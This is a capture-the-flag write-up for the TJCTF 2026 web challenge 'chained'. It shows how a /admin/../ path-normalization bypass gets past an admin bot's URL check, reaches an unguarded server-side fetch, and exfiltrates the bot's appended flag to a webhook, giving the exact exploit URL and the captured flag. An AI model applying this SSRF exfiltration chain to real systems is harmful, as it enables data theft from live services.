chained
tjctf
Task: Flask web challenge with a custom admin bot, a localhost-only admin endpoint, and a URL fetch feature. Solution: Abuse `/admin/../` path normalization to satisfy the bot regex while reaching `/?url=...`, then let the server-side request leak the appended flag to a webhook.
$ ls tags/ techniques/
chained — TJCTF 2026
Description
i designed my own admin bot! and i included an admin page that should be super duper secure...
English summary: We are given a Flask site on port 5000, an external admin bot endpoint, and source files for index.html, admin-bot.js, and app.py. The goal is to make the bot leak its flag despite a strict /admin/ URL check and a localhost-only admin page.
Analysis
The challenge works because several individually small bugs compose into one usable chain.
1. Bot-side URL restriction
The bot code only accepts URLs matching:
urlRegex: /^https:\/\/chained\.tjc\.tf\/admin\//
After validating the submitted URL, it visits:
url + flag
So the bot does not put the flag in a header or cookie. It literally concatenates the flag onto the submitted URL before loading it.
2. Flask route mismatch
The Flask app has different behavior for POST / and GET /:
POST /checksisSafe(url)with a blacklist before fetching.GET /?url=...does not apply that blacklist.
That means the SSRF sink is reachable safely through a GET request if we can get the bot onto the index route.
3. Localhost-only /admin
The /admin endpoint only returns attacker-controlled JavaScript when:
request.remote_addr == '127.0.0.1'
At first glance this looks ideal for bot XSS, since the bot visits from localhost.
4. CSP kills the obvious XSS
The main page uses a CSP with script-src 'self', so reflected payloads such as /admin?q=<script>... appear in the response but do not execute. That makes direct XSS a dead end.
5. The actual bypass: /admin/../
The key idea is to exploit the gap between raw-string validation and server-side path normalization.
This URL passes the bot regex because the raw string starts with /admin/:
https://chained.tjc.tf/admin/../?url=https://webhook.site/eee24aa6-c305-4d6d-92e3-619066f9386c/
But once the browser resolves the path, /admin/../ normalizes to /, so the request is effectively sent to:
https://chained.tjc.tf/?url=https://webhook.site/eee24aa6-c305-4d6d-92e3-619066f9386c/
That reaches the index route, not /admin, and triggers the unchecked GET-based fetch behavior.
Exploit Chain
- Submit a URL beginning with
https://chained.tjc.tf/admin/so the admin bot accepts it. - Use
/admin/../so the browser normalizes the final path to/. - Put our webhook in the
url=query parameter. - The bot appends the flag to the submitted URL before visiting it.
- After normalization, Flask receives a request like:
/?url=https://webhook.site/eee24aa6-c305-4d6d-92e3-619066f9386c/tjctf{...}
- The index route performs
requests.get(...)on that full attacker-controlled URL. - Webhook logs reveal the outgoing request path, including the URL-encoded flag.
Solution
The exact exploit URL submitted to the bot was:
https://chained.tjc.tf/admin/../?url=https://webhook.site/eee24aa6-c305-4d6d-92e3-619066f9386c/
Because the bot visits url + flag, the browser ultimately caused the Flask app to make a server-side request to the webhook with the flag appended to the path.
The webhook confirmed the exfiltration with this request:
https://webhook.site/eee24aa6-c305-4d6d-92e3-619066f9386c/tjctf%7Bch41n3d_o340e934l35d%7D
Brief dead ends
- The admin-bot page used reCAPTCHA, so submission could not be fully automated and had to be solved manually.
- Direct XSS through
/admin?q=<script>...looked promising, but CSP blocked inline script execution.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [web][free]Trust Issues— tjctf
- [web][Pro]wait— bluehensctf
- [misc][Pro]Prompt Easy— BlueHens CTF 2026
- [web][free]clankers-market— b01lersc
- [web][Pro]board_of_secrets— miptctf